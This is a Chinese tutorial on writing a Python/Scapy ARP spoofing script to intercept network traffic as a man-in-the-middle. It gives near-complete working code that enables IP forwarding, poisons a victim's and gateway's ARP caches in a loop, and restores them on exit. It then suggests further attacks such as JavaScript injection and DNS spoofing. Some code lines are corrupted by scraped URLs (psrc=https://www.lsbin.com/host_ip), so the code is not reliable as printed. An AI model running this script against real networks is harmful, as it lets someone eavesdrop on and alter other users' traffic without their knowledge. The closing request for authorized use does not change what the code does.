如何使用Scapy在Python中构建ARP欺骗器(实现教程)

Python如何构建ARP欺骗器?本文使用 Scapy 在 Python 中构建和创建 ARP 欺骗脚本,以便能够成为中间人来监视、拦截和修改网络中的数据包。
如何使用Scapy构建ARP欺骗器?在本教程中,我们将使用Python 中的Scapy库构建一个ARP 欺骗脚本。
什么是ARP欺骗【如何使用Scapy在Python中构建ARP欺骗器(实现教程)】嗯,简而言之,它是一种获得中间人情况的方法。从技术上讲,它是一种攻击将欺骗性 ARP 数据包(虚假数据包)发送到网络(或特定主机)上的技术,使攻击者能够即时拦截、更改或修改网络流量。
一旦你(作为攻击者)成为中间人,你就可以从字面上拦截或更改传入或传出受害者设备的所有内容。因此,在本教程中,我们将编写一个 Python 脚本来做到这一点。
在常规网络中,所有设备都正常与网关通信,然后与 Internet 通信,如下图所示:

如何使用Scapy在Python中构建ARP欺骗器(实现教程)

文章图片
现在攻击者需要向两台主机发送 ARP 响应:
  • 向网关发送 ARP 响应,说“我有受害者的 IP 地址”。
  • 向受害者发送 ARP 响应,说“我有网关的 IP 地址”。
如何使用Scapy在Python中构建ARP欺骗器(实现教程)

文章图片
一旦攻击者进行了如上图所示的 ARP Spoof 攻击,他/她将处于中间人情况:
如何使用Scapy在Python中构建ARP欺骗器(实现教程)

文章图片
此时,一旦受害者发送任何数据包(例如 HTTP 请求),它将首先传递到攻击者的机器,然后将数据包转发到网关,因此你可能注意到,受害者对此一无所知攻击,换句话说,他/她将无法弄清楚他/她正在被攻击。
理论够了!在我们开始之前,你需要安装所需的库:
pip3 install scapy

如果你使用的是 Windows,请查看本教程以使 Scapy 在你的机器上正常运行。此外,你需要安装pywin32,如下所示:
pip3 install pywin32

Python构建ARP欺骗器示例:编写 Python 脚本Python如何构建ARP欺骗器?首先,我们需要导入必要的模块:
from scapy.all import Ether, ARP, srp, send import argparse import time import os import sys

注意:你需要在你的机器上安装 scapy 库,前往这篇文章,或者官方 scapy网站。
一开始,我需要提到我们需要启用 IP 转发。
如何使用Scapy构建ARP欺骗器?在各种平台上启用IP路由的方法有很多,但是,我在这里制作了一个python模块,让你可以在Windows下启用IP路由,而无需担心任何事情。
对于类 Unix 用户(本教程的建议平台),你只需要编辑需要 root 访问权限的文件“/proc/sys/net/ipv4/ip_forward”并将值1 设置为已启用,检查本教程了解更多信息。无论如何,这个函数是这样做的:
def _enable_linux_iproute(): """ Enables IP route ( IP Forward ) in linux-based distro """ file_path = "/proc/sys/net/ipv4/ip_forward" with open(file_path) as f: if f.read() == 1: # already enabled return with open(file_path, "w") as f: print(1, file=f)

对于 Windows 用户,一旦你复制  services.py到当前目录中,你就可以复制粘贴此功能:
def _enable_windows_iproute(): """ Enables IP route (IP Forwarding) in Windows """ from services import WService # enable Remote Access service service = WService("RemoteAccess") service.start()

Python构建ARP欺骗器示例 - 下面的函数处理在所有平台中启用 IP 路由:
def enable_ip_route(verbose=True): """ Enables IP forwarding """ if verbose: print("[ !] Enabling IP Routing...") _enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute() if verbose: print("[ !] IP Routing enabled.")

现在,让我们进入很酷的东西。首先,我们需要一个实用函数,使我们能够获取网络中任何机器的 MAC 地址:
def get_mac(ip): """ Returns MAC address of any device connected to the network If ip is down, returns None instead """ ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0) if ans: return ans[ 0][ 1].src

我们使用 Scapy 的srp()函数将请求作为数据包发送并继续侦听响应,在这种情况下,我们发送 ARP 请求并侦听任何 ARP 响应。
其次,我们将创建一个函数来完成本教程的核心工作,给定一个目标 IP 地址和一个主机 IP 地址,它会更改目标 IP 地址的 ARP 缓存,说我们有主机的 IP 地址:
def spoof(target_ip, host_ip, verbose=True): """ Spoofs `target_ip` saying that we are `host_ip`. it is accomplished by changing the ARP cache of the target (poisoning) """ # get the mac address of the target target_mac = get_mac(target_ip) # craft the arp 'is-at' operation packet, in other words; an ARP response # we don't specify 'hwsrc' (source MAC address) # because by default, 'hwsrc' is the real MAC address of the sender (ours) arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=https://www.lsbin.com/host_ip, op='is-at') # send the packet # verbose = 0 means that we send the packet without printing any thing send(arp_response, verbose=0) if verbose: # get the MAC address of the default interface we are using self_mac = ARP().hwsrc print("[ +] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))

上述代码获取目标的 MAC 地址,制作恶意 ARP 回复(响应)数据包,然后发送。
一旦我们想阻止攻击,我们需要将真实地址重新分配给目标设备(以及网关),如果我们不这样做,受害者将失去互联网连接,很明显发生了一些事情,我们不想这样做,我们将依次发送七个合法的 ARP 回复数据包(常见做法):
def restore(target_ip, host_ip, verbose=True): """ Restores the normal process of a regular network This is done by sending the original informations (real IP and MAC of `host_ip` ) to `target_ip` """ # get the real MAC address of target target_mac = get_mac(target_ip) # get the real MAC address of spoofed (gateway, i.e router) host_mac = get_mac(host_ip) # crafting the restoring packet arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=https://www.lsbin.com/host_ip, hwsrc=host_mac) # sending the restoring packet # to restore the network to its normal process # we send each reply seven times for a good measure (count=7) send(arp_response, verbose=0, count=7) if verbose: print("[ +] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))

这类似于spoof()函数,唯一的区别是它发送的合法数据包很少。换句话说,它正在发送真实的信息。
如何使用Scapy构建ARP欺骗器?现在我们需要编写主要代码,它同时欺骗了两者;无限地访问目标 和 主机(网关),直到检测到CTRL+C,因此我们将恢复原始地址,如下Python构建ARP欺骗器示例:
if __name__ == "__main__": # victim ip address target = "192.168.1.100" # gateway ip address host = "192.168.1.1" # print progress to the screen verbose = True # enable ip forwarding enable_ip_route() try: while True: # telling the `target` that we are the `host` spoof(target, host, verbose) # telling the `host` that we are the `target` spoof(host, target, verbose) # sleep for one second time.sleep(1) except KeyboardInterrupt: print("[ !] Detected CTRL+C ! restoring the network, please wait...") restore(target, host) restore(host, target)

我在 linux 机器上运行脚本,这是我的结果的屏幕截图:
如何使用Scapy在Python中构建ARP欺骗器(实现教程)

文章图片
Python如何构建ARP欺骗器?在这个例子中,我使用我的个人电脑作为受害者,如果你尝试检查你的ARP 缓存:
如何使用Scapy在Python中构建ARP欺骗器(实现教程)

文章图片
你将看到攻击者的 MAC 地址(在本例中为"192.168.1.105")与网关的相同,我们绝对上当了!
在攻击者的机器上,当你点击CTRL+C关闭程序时,这里是恢复过程的截图:
如何使用Scapy在Python中构建ARP欺骗器(实现教程)

文章图片
回到受害机器,你将看到网关的原始 MAC 地址已恢复:
如何使用Scapy在Python中构建ARP欺骗器(实现教程)

文章图片
现在,你可能会说成为中间人有什么好处?嗯,这是一个非常重要的问题。事实上,只要你对 Scapy 或任何其他中间人工具有很好的体验,你就可以做很多事情,可能性是无穷无尽的。例如,你可以在 HTML 响应中注入 javascript 代码、DNS 欺骗你的目标、拦截文件并动态修改它们、网络嗅探和监控等等。
所以,这是 ARP 欺骗攻击的快速演示,请记住,合乎道德地使用它!在你的专用网络上使用它,不要在你没有授权的网络上使用它。
查看本教程以检测网络中的此类攻击!

    推荐阅读